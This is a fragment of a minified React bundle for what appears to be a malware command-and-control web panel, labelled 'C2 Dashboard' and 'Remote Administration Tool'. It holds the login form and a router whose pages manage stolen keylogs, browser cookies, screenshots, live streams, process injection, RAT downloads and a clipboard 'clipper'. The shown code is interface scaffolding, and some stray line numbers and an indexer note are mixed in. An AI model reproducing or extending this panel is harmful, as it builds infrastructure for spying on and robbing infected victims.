justify-between`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h2`,{className:`text-lg font-semibold text-gray-800`,children:`Connection Status`}),(0,H.jsx)(`p`,{className:`text-gray-600`,children:`Bridge server and database connectivity`})]}),(0,H.jsxs)(`div`,{className:`flex items-center space-x-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center`,children:[(0,H.jsx)(`div`,{className:`w-3 h-3 bg-green-500 rounded-full mr-2`}),(0,H.jsx)(`span`,{className:`text-sm`,children:`Bridge Server: Running`})]}),(0,H.jsxs)(`div`,{className:`flex items-center`,children:[(0,H.jsx)(`div`,{className:`w-3 h-3 bg-green-500 rounded-full mr-2`}),(0,H.jsx)(`span`,{className:`text-sm`,children:`Database: Connected`})]}),(0,H.jsxs)(`div`,{className:`flex items-center`,children:[(0,H.jsx)(`div`,{className:`w-3 h-3 bg-green-500 rounded-full mr-2`}),(0,H.jsx)(`span`,{className:`text-sm`,children:`WebSocket: Connected`})]})]})]})})]})})}function So({onLogin:e}){let t=tt(),[n,r]=(0,_.useState)({username:``,password:``}),[i,a]=(0,_.useState)(``),[o,s]=(0,_.useState)(!1);return(0,H.jsxs)(`div`,{className:`flex items-center justify-center min-h-screen bg-slate-950 p-4`,children:[(0,H.jsx)(`style`,{children:` 95 .cyber-btn { 96 position: relative; 97 width: 100%; 98 padding: 14px; 99 background: transparent; 100 border: 1px solid #00d4ff; 101 border-radius: 4px; 102 color: #00d4ff;
103 font-family: 'Courier New', Courier, monospace; 104 font-size: 13px; 105 font-weight: 700; 106 letter-spacing: 4px; 107 text-transform: uppercase; 108 cursor: pointer; 109 box-shadow: 0 0 12px rgba(0,212,255,0.25), inset 0 0 12px rgba(0,212,255,0.04); 110 transition: all 0.2s ease; 111 overflow: hidden; 112 } 113 .cyber-btn::before { 114 content: ''; 115 position: absolute; 116 top: 0; left: -100%; 117 width: 100%; height: 100%; 118 background: linear-gradient(90deg, transparent, rgba(0,212,255,0.12), transparent); 119 transition: left 0.5s ease; 120 } 121 .cyber-btn:hover::before { left: 100%; } 122 .cyber-btn:hover { 123 background: rgba(0,212,255,0.07); 124 box-shadow: 0 0 22px rgba(0,212,255,0.55), inset 0 0 18px rgba(0,212,255,0.08); 125 color: #fff; 126 border-color: #00d4ff; 127 } 128 .cyber-btn:active { transform: scale(0.98); } 129 .cyber-btn:disabled { opacity: 0.45; cursor: not-allowed; } 130 .cyber-btn:disabled::before { display: none; } 131 @keyframes cyber-blink { 132 0%, 100% { opacity: 1; } 133 50% { opacity: 0; } 134 } 135 .cyber-cursor { animation: cyber-blink 1s step-end infinite; } 136 `}),(0,H.jsxs)(`div`,{className:`w-full max-w-sm rounded-xl bg-slate-900 border border-slate-800 shadow-2xl p-6`,children:[(0,H.jsxs)(`div`,{className:`text-center mb-8`,children:[(0,H.jsx)(`h1`,{className:`text-2xl font-semibold text-slate-100 m-0`,children:`C2 Dashboard`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-400 mt-2`,children:`Remote Administration Tool`})]}),(0,H.jsx)(`div`,{className:`flex mb-6 bg-slate-950 rounded-lg p-1 border border-slate-800`,children:(0,H.jsx)(`button`,{style:{flex:1,padding:`12px`,background:`rgba(255, 255, 255, 0.2)`,color:`white`,border:`none`,borderRadius:`8px`,cursor:`default`,fontSize:`16px`,fontWeight:`500`},children:`Login`})}),i&&(0,H.jsx)(`div`,{style:{background:`rgba(255, 87, 87, 0.2)`,border:`1px solid rgba(255, 87, 87, 0.3)`,color:`#ff5757`,padding:`12px`,borderRadius:`8px`,marginBottom:`20px`,fontSize:`14px`},children:i}),(0,H.jsxs)(`form`,{onSubmit:async r=>{r.preventDefault(),a(``),s(!0);try{let r=await fetch(`/api/auth/login`,{method:`POST`,headers:{"Content-Type":`application/json`},credentials:`include`,body:JSON.stringify(n)}),i=await r.json();if(r.ok){let n=await fetch(`/api/auth/me`,{method:`GET`,credentials:`include`});if(!n.ok){a(`Session cookie was not created. Check auth API/proxy settings.`);return}e((await n.json()).user),t(`/admin/dashboard`)}else a(i.error||`Login failed`)}catch(e){a(`Network error. Please check if the auth server is running.`),console.error(`Login error:`,e)}finally{s(!1)}},children:[(0,H.jsxs)(`div`,{style:{marginBottom:`20px`},children:[(0,H.jsx)(`label`,{style:{display:`block`,color:`rgba(255, 255, 255, 0.9)`,marginBottom:`8px`,fontSize:`14px`,fontWeight:`500`},children:`Username`}),(0,H.jsx)(`input`,{type:`text`,value:n.username,onChange:e=>r({...n,username:e.target.value}),required:!0,style:{width:`100%`,padding:`12px 16px`,background:`rgba(255, 255, 255, 0.1)`,border:`1px solid rgba(255, 255, 255, 0.2)`,borderRadius:`8px`,color:`white`,fontSize:`16px`,outline:`none`,transition:`all 0.3s`},placeholder:`Enter username`})]}),(0,H.jsxs)(`div`,{style:{marginBottom:`30px`},children:[(0,H.jsx)(`label`,{style:{display:`block`,color:`rgba(255, 255, 255, 0.9)`,marginBottom:`8px`,fontSize:`14px`,fontWeight:`500`},children:`Password`}),(0,H.jsx)(`input`,{type:`password`,value:n.password,onChange:e=>r({...n,password:e.target.value}),required:!0,style:{width:`100%`,padding:`12px 16px`,background:`rgba(255, 255, 255, 0.1)`,border:`1px solid rgba(255, 255, 255, 0.2)`,borderRadius:`8px`,color:`white`,fontSize:`16px`,outline:`none`,transition:`all 0.3s`},placeholder:`Enter password`})]}),(0,H.jsx)(`button`,{type:`submit`,disabled:o,className:`cyber-btn`,children:o?(0,H.jsxs)(`span`,{children:[`> AUTHENTICATING`,(0,H.jsx)(`span`,{className:`cyber-cursor`,children:`_`})]}):(0,H.jsx)(`span`,{children:`> AUTHENTICATE`})})]})]})]})}var Co=e=>{let t,n=new Set,r=(e,r)=>{let i=typeof e==`function`?e(t):e;if(!Object.is(i,t)){let e=t;t=r??(typeof i!=`object`||!i)?i:Object.assign({}
136,t,i),n.forEach(n=>n(t,e))}},i=()=>t,a={setState:r,getState:i,getInitialState:()=>o,subscribe:e=>(n.add(e),()=>n.delete(e)),destroy:()=>{n.clear()}},o=t=e(r,i,a);return a},wo=e=>e?Co(e):Co,To=o((e=>{var t=u();function n(e,t){return e===t&&(e!==0||1/e==1/t)||e!==e&&t!==t}var r=typeof Object.is==`function`?Object.is:n,i=t.useState,a=t.useEffect,o=t.useLayoutEffect,s=t.useDebugValue;function c(e,t){var n=t(),r=i({inst:{value:n,getSnapshot:t}}),c=r[0].inst,u=r[1];return o(function(){c.value=n,c.getSnapshot=t,l(c)&&u({inst:c})},[e,n,t]),a(function(){return l(c)&&u({inst:c}),e(function(){l(c)&&u({inst:c})})},[e]),s(n),n}function l(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!r(e,n)}catch{return!0}}function d(e,t){return t()}var f=typeof window>`u`||window.document===void 0||window.document.createElement===void 0?d:c;e.useSyncExternalStore=t.useSyncExternalStore===void 0?f:t.useSyncExternalStore})),Eo=o(((e,t)=>{t.exports=To()})),Do=o((e=>{var t=u(),n=Eo();function r(e,t){return e===t&&(e!==0||1/e==1/t)||e!==e&&t!==t}var i=typeof Object.is==`function`?Object.is:r,a=n.useSyncExternalStore,o=t.useRef,s=t.useEffect,c=t.useMemo,l=t.useDebugValue;e.useSyncExternalStoreWithSelector=function(e,t,n,r,u){var d=o(null);if(d.current===null){var f={hasValue:!1,value:null};d.current=f}else f=d.current;d=c(function(){function e(e){if(!a){if(a=!0,o=e,e=r(e),u!==void 0&&f.hasValue){var t=f.value;if(u(t,e))return s=t}return s=e}if(t=s,i(o,e))return t;var n=r(e);return u!==void 0&&u(t,n)?(o=e,t):(o=e,s=n)}var a=!1,o,s,c=n===void 0?null:n;return[function(){return e(t())},c===null?void 0:function(){return e(c())}]},[t,n,r,u]);var p=a(e,d[0],d[1]);return s(function(){f.hasValue=!0,f.value=p},[p]),l(p),p}})),Oo=c(o(((e,t)=>{t.exports=Do()}))(),1),{useDebugValue:ko}=_.default,{useSyncExternalStoreWithSelector:Ao}=Oo.default,jo=e=>e;function Mo(e,t=jo,n){let r=Ao(e.subscribe,e.getState,e.getServerState||e.getInitialState,t,n);return ko(r),r}var No=e=>{let t=typeof e==`function`?wo(e):e,n=(e,n)=>Mo(t,e,n);return Object.assign(n,t),n};(e=>e?No(e):No)(e=>({notifications:[],addNotification:t=>e(e=>({notifications:[t,...e.notifications]})),removeNotification:t=>e(e=>({notifications:e.notifications.filter(e=>e.id!==t)})),clearAll:()=>e({notifications:[]})}));function Po({user:e,handleLogout:t,handleLogin:n}){return(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(jt,{children:[(0,H.jsx)(V,{path:`/login`,element:e?e.role===`admin`?(0,H.jsx)(Ot,{to:`/admin/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/user/dashboard`,replace:!0}):(0,H.jsx)(So,{onLogin:n})}),(0,H.jsxs)(V,{path:`/admin`,element:e?e.role===`admin`?(0,H.jsx)(vo,{user:e,onLogout:t}):(0,H.jsx)(Ot,{to:`/user/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/login`,replace:!0}),children:[(0,H.jsx)(V,{index:!0,element:(0,H.jsx)(Ot,{to:`dashboard`,replace:!0})}),(0,H.jsx)(V,{path:`dashboard`,element:(0,H.jsx)(Ui,{})}),(0,H.jsx)(V,{path:`clients`,element:(0,H.jsx)(qi,{})}),(0,H.jsx)(V,{path:`files`,element:(0,H.jsx)(ta,{})}),(0,H.jsx)(V,{path:`screenshots`,element:(0,H.jsx)(Na,{})}),(0,H.jsx)(V,{path:`stream`,element:(0,H.jsx)(Va,{})}),(0,H.jsx)(V,{path:`keylogs`,element:(0,H.jsx)(ua,{})}),(0,H.jsx)(V,{path:`cookies`,element:(0,H.jsx)(fa,{})}),(0,H.jsx)(V,{path:`urls`,element:(0,H.jsx)(co,{})}),(0,H.jsx)(V,{path:`scanned-data`,element:(0,H.jsx)(ba,{})}),(0,H.jsx)(V,{path:`process-injection`,element:(0,H.jsx)(Ja,{})}),(0,H.jsx)(V,{path:`rat-download`,element:(0,H.jsx)(eo,{})}),(0,H.jsx)(V,{path:`clipper`,element:(0,H.jsx)(no,{})}),(0,H.jsx)(V,{path:`user-management`,element:(0,H.jsx)(Ya,{})}),(0,H.jsx)(V,{path:`settings`,element:(0,H.jsx)(Ua,{})})]}),(0,H.jsxs)(V,{path:`/user`,element:e?e.role===`user`?(0,H.jsx)(yo,{user:e,onLogout:t}):(0,H.jsx)(Ot,{to:`/admin/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/login`,replace:!0}),children:[(0,H.jsx)(V,{index:!0,element:(0,H.jsx)(Ot,{to:`dashboard`,replace:!0})}),(0,H.jsx)(V,{path:`dashboard`,element:(0,H.jsx)(Hi,{})}),(0,H.jsx)(V,{path:`clients`,element:(0,H.jsx)(qi,{})}),(0,H.jsx)(V,{path:`files`,element:(0,H.jsx)(ta,{})}),(0,H.jsx)(V,{path:`screenshots`,element:(0,H.jsx)(Na,{})}),(0,H.jsx)(V,{path:`stream`,element:(0,H.jsx)(Va,{})}),(0,H.jsx)(V,{path:`keylogs`,element:(0,H.jsx)(ua,{})}),(0,H.jsx)(V,{path:`urls`,element:(0,H.jsx)(co,{})}),(0,H.jsx)(V,{path:`scanned-data`,element:(0,H.jsx)(ba,{})}),(0,H.jsx)(V,{path:`rat-download`,element:(0,H.jsx)(eo,{})}),(0,H.jsx)(V,{path:`clipper`,element:(0,H.jsx)(no,{})}),(0,H.jsx)(V,{path:`history`,element:(0,H.jsx)(so,{})})]}),(0,H.jsxs)(V,{element:(0,H.jsx)(yo,{}),children:[(0,H.jsx)(V,{path:`/`,element:e?e.role===`admin`?(0,H.jsx)(Ot,{to:`/admin/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/user/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/login`,replace:!0})}),(0,H.jsx)(V,{path:`/database-test`,element:(0,H.jsx)(xo,{})})]}),(0,H.jsx)(V,{path:`*`,element:e?e.role===`admin`?(0,H.jsx)(Ot,{to:`/admin/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/user/dashboard`,replace:!0}):(0,H.jsx)(Ot,{to:`/login`,replace:!0})})]}),!1]})}function Fo(){let[e,t]=(0,_.useState)(null),[n,r]=(0,_.useState)(!0);return(0,_.useEffect)(()=>{fetch(`/api/auth/me`,{credentials:`include`}).then(e=>{if(e.ok)return e.json();throw Error(`Not authenticated`)}).then(e=>{t(e.user),localStorage.setItem(`user`,JSON.stringify(e.user))}).catch(()=>{t(null),localStorage.removeItem(`user`)}).finally(()=>r(!1))},[]),n?(0,H.jsx)(`div`,{style:{display:`flex`,justifyContent:`center`,alignItems:`center`,height:`100vh`,background:`#1a1a1a`,color:`white`},children:`Loading...`}):(0,H.jsx)(Fi,{children:(0,H.jsx)(bi,{children:(0,H.jsx)(Po,{user:e,handleLogout:async()=>{t(null),await li()},handleLogin:e=>{t(e),ui(``,e)}})})})}document.documentElement.classList.add(`dark`),(0,v.createRoot)(document.getElementById(`root`)).render((0,H.jsx)(_.StrictMode,{children:(0,H.jsx)(yn,{children:(0,H.jsx)(fi,{enabled:!0,children:(0,H.jsx)(Fo,{})})})}));
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.